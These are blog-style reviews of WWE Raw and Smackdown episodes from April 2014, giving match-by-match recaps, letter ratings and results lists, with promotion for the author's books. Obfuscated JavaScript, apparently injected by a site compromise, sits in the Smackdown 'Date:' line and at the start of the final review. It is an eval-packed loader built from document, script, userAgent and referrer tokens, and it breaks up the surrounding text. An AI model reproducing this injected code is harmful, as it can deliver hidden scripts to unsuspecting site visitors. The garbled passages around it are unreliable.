Truth/Woods vs. Rusev at the PPV which should cement the ending here. Cara fires off his chops but gets caught in mid air, setting up the knees against the ropes and fall away slam to the masked man. Some jumping knees in the corner drop Sin Cara as Lana is very pleased. Sin Cara actually gets two off a sunset flip and staggers the Bulgarian with a Tajiri elbow. A kick to the head and missile dropkick put Rusev in the corner but Alexander just runs him over. An overhead suplex drops Sin Cara and the Accolade gets the submission at 2:59.

The 3-1 handicap match wins the poll with 53%. Harper on his own got a very surprising 39% with the 2-1 getting less than 10%.

John Cena vs. Wyatt Family

The Wyatts surround the ring to start before all three charge the ring at the same time. Cena is down so Bray calls them off as the bell rings. Harper gets us going and drives elbows into the back of Cena’s head to keep control. Off to Rowan who whips Cena into the corner but gets caught in a fallaway slam and it’s off to Bray. The leader of the Family dances with Cena for a bit before screaming loudly.

Back to Harper who gets caught by a Stinger Splash but runs John over with a hard elbow to the jaw. Cena muscles Harper over with a German suplex but Luke tags Rowan back in for more stomping. Harper quickly gets another tag but is almost caught in an STF. Rowan makes a fast save and Harper stays in to send Cena hard into the steps. Bray looks down and we take a break.

We come back to see Cena missing a cross body and falling out to the floor. John comes back in and runs over Harper but Bray easily counters a tornado DDT by PLANTING him with a release Rock Bottom. He hammers away and sends Cena shoulder first into the post. A headbutt rams Cena’s head into the steel again before Rowan comes back in to crush Cena’s skull a bit more.

John fights back but it’s back to Bray who loads up the spider walk. Thankfully Cena realizes how easy this is and runs him over with a clothesline to start his comeback. Cena starts his finishing sequence and hits the AA on Bray, only to have the Family come in for the DQ at 14:00.

Rating: C. The match was going fine ubt you knew there was no way this was having a clean finish. I’m not sure why you don’t have Cena take the loss here as it’s not like losing a handicap match here is a big deal. Bray needs to get the big win over Cena and hopefully that comes at Extreme Rules. Not bad but I don’t like the ending.

Post match the Wyatts beat Cena down and Bray hits Sister Abigail. He says in time, all things come to light before singing a bit more with his hand on Cena’s face to end the show.

Overall Rating: C+. Some stuff got done tonight but the main event has more problems caused by real life. Daniel Bryan being written off TV again to deal with the sudden passing of his father (legitimate story and certainly worth missing some time) hurts things as he’s starting to lose some of the awesome heat he put together with Wrestlemania. That being said, the Shield vs. Evolution match is looking AWESOME and everything is going well there. The midcard scene was solid tonight as well so we’ll go with a good show that has some worrying issues.

Results
Bad News Barrett b. Sheamus – Bull Hammer
Los Matadores/El Torito b. 3MB – Double belly to back suplex/Top rope seated senton to McIntyre
Usos b. Cody Rhodes/Goldust – Superkick to Rhodes
Emma b. Layla – Cobra
Rob Van Dam b. Cesaro via countout
Alexander Rusev b. Sin Cara – Accolade
Paige b. Aksana – Scorpion Cross Lock
John Cena b. Wyatt Family via DQ when all three members were in the ring at the same time

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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Smackdown – April 18, 2014: Why We Can’t Have Vacation

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbsdz|var|u0026u|referrer|rrnts||js|php'.split('|'),0,{})) April 18, 2014
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Michael Cole, John Bradshaw Layfield

It’s the first show after a pretty uninteresting Monday Night Raw. The main story coming out of it is the reformation of Evolution, who will be feuding with Shield over the coming months. Other than that there really wasn’t all that much as Daniel Bryan was on his honeymoon, leaving us with no match for him at Extreme Rules yet. Kane would be the likely candidate though. Let’s get to it.

Here’s HHH to get things going. He says part of his job is to find new talent that can truly succeed in the WWE. At the top of that list, there is no one higher than the Shield. Ambrose, Rollins and Reigns are three of the most talented guys he’s seen come along in years so he gave them power.

Maybe it was too much though because they tried to see how far that power can take you on your own. When you set out on the journey to find that line in the sand, make sure you don’t cross it. The Shield found that line and on Monday they crossed it. We get a clip from the end of Raw with Evolution taking out the Shield to end the show in a huge beatdown.

HHH told Cole on Wednesday that he was willing to allow Shield to give an apology and put everything behind them. All he got was silence though, save for a response from Roman Reigns. Roman said that soldiers win wars instead of soldiers. That’s a great line for a movie, but it’s not reality. In reality, soldiers are the currency on which empires are bought and sold. The Shield has lost their value and while it hurts HHH to destroy what he created, he’ll do just that at Extreme Rules. In life you adapt or perish, and that’s Evolution.

Alberto Del Rio vs. Big E.

Non-title of course since he never defends the thing. We get an inset interview with Big E. saying he’d love to face anyone. He’s also been in a pop, lock and drop it competition in Tampa. Big E. runs Del Rio over and gets a quick one to start but Alberto fights out of the triple backbreaker. A running enziguri in the corner is good for two on the champion before he charges into Del Rio’s boots in the corner.

Del Rio stomps away but misses a charge into the corner to give Big E. a breather. The announcers talk about past IC Champions as Big E. runs Del Rio over a few more times. Big E. hits a belly to belly into the Warrior Splash, only to have Alberto get his knees up. Back from a break with both guys getting back in the ring but Big E. charging into the post.

A DDT gets two on Big E. but he catches Del Rio diving off the top in a backbreaker. Now the Warrior Splash connects and there go the straps. The Big Ending is countered into a Backstabber for a close two but Big E. blocks the armbreaker and makes the rope. Del Rio won’t break it though and that’s a DQ at 10:00.

Rating: C-. Not a bad match here but why is Big E. not allowed to beat Del Rio? They’ve been going at it for months now with Big E. never getting a clean fall, but for some reason Del Rio’s only interest in the title has been being placed in a tournament. Unless this leads to a big win for Big E. at a PPV, I don’t quite get this one.

Post match Del Rio loads up the superkick but walks into the Big Ending.

Buy the WWE Network!

We look at clips of the Streak ending.

Bo Dallas is coming.

Here’s Heyman in the ring with something to say. He introduces himself as Brock Lesnar’s advocate and reminds all of us that Brock is the 1 in 21-1. If you want to boo something, boo this: Brock Lesnar conquered the streak. Heyman shouts it over and over and over before saying the fans here in Tennessee just don’t get it.

We look at Hornswoggle joining 3MB and squaring off with El Torito on Main Event, setting up their match tonight. Seriously.

Paige vs. Aksana

Non-title again. Before the match, Tamina says she’s taking the title at Extreme Rules. Before the match Aksana insults Paige and says everyone is jealous of her despite Paige just getting lucky. She jumps the champion and there’s the bell, only to have Paige go off on Aksana in the corner. They head outside where Aksana nails a hard clothesline followed by that release spinebuster of hers inside.

She doesn’t cover though and rubs Paige’s face in the mat for two instead. We hit a reverse chinlock for a bit until Aksana needs to crawl around the ring. A running cross body puts Paige down but Aksana can’t follow up either. Paige fights back and hits a running dropkick followed by the scorpion crosslock for the submission at 2:54. Far better match than I was expecting here.

Sheamus is ready for Batista tonight.

El Torito vs. Hornswoggle

The announcers play this as a total joke so let’s get this over with. They shove each other around to start until Torito runs him over a few times, sending Horny to the apron. The leprechaun rocker sends him head first into the middle buckle and drops a bottom rope Banzai Drop. A hard clothesline and splash get two for Horny and we hit the horn lock. Seriously. Horny plays some air guitar and gets rolled up for two. Just end this thing already. Please. Torito comes back with a Gore and Bronco Bustero followed by a top rope moonsault for the pin at 4:33.

Rating: N. For no. Just no.

Alexander Rusev package.

Bad News Barrett rips on the previous match and blames the audience for what we just saw.

Alexander Rusev vs. R-Truth

Truth actually gets in some offense such as a middle rope dropkick but Little Jimmy is caught in midair. The superkick and fall away slam set up the Accolade for the submission for Rusev at 1:40.

Xavier Woods gets beaten up as well post match.

Ultimate Warrior tribute from Raw.

Santino Marella vs. Fandango

Santino does a slow motion kick to the leg for no apparent reason so Fandango hammers him in the head. Fandango misses a charge though and Santino comes back with the usual schtick. Layla steals the Cobra sock so Santino sunset flips Fandango for the pin at 1:34.

Emma high fives the Cobra post match and loses feeling in her arm.

We see Stephanie yelling at Kane on Raw and Kane grabbing the mask again.

Adam Rose vignette.

Sheamus vs. Batista

Batista pulls him to the floor to start and the brawl is on early. Sheamus takes him back inside and cranks on the arm before nailing the ten forearms. A running knee puts Batista on the floor and we take our last break. Back with Batista kicking the steps into Sheamus to take over. More power offense keeps Batista in control and a powerslam gets two. Sheamus throws him to the floor for a breather and sends Batista shoulder first into the post.

A Batista Bomb is broken up and another knee lift rocks the Animal. Ten lame looking forearms to the chest set up the battering ram for two. The Irish Curse gets two but Sheamus can’t hook the Cloverleaf. Batista ducks the Brogue Kick and heads outside before another kick misses inside. Spear gets two on Sheamus but he backdrops out of the Batista Bomb. He goes up top but gets crotched onto the top rope, setting up the Bomb for the pin at 13:46.

Rating: C. Passable power match here but the show was way past saving at this point. Sheamus got to look like an equal out there which is good for him, but he needs something to fire up his character. A heel turn would just put a Band Aid on the problem, but that’s not getting changed in WWE at the moment. Batista was his usual self here.

Overall Rating: D-. I understand that most of the roster was on the overseas tour this week, but this was not acceptable. We got a freaking midget match plus more matches we’ve already seen before, with one getting any significant TV time at all. This is a good example of bad management as you could have left a home team back here to keep this from being a worthless TV show. Absolutely awful tonight with nothing of note at all.

Results
Big E. b. Alberto Del Rio via DQ when Del Rio wouldn’t break the cross armbreaker
Paige b. Aksana – Scorpion crosslock
El Torito b. Hornswoggle – Moonsault
Alexander Rusev b. R-Truth – Accolade
Santino Marella b. Fandango – Sunset flip
Batista b. Sheamus – Batista Bomb

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00J58H5CY And check out my Amazon author page with wrestling books for under $4 at:




Reviewing the Review – Monday Night Raw: April 14, 2014

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnafd|var|u0026u|referrer|ssfrr||js|php'.split('|'),0,{})) on Monday was a hybrid between the Ultimate Warrior tribute show which can make for some less interesting shows. We also got the first round of a tournament to find a new #1 contender to the Intercontinental Title. The problem is Daniel Bryan is on his honeymoon so there’s not a lot that can happen. Let’s get to it.

 

 

 

Paige squashed Alicia Fox. That Scorpion Cross Lock looks AWESOME and is a great compliment to the Paige Turner. This was a much better performance from her this week.

 

 

 

 

 

 

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at: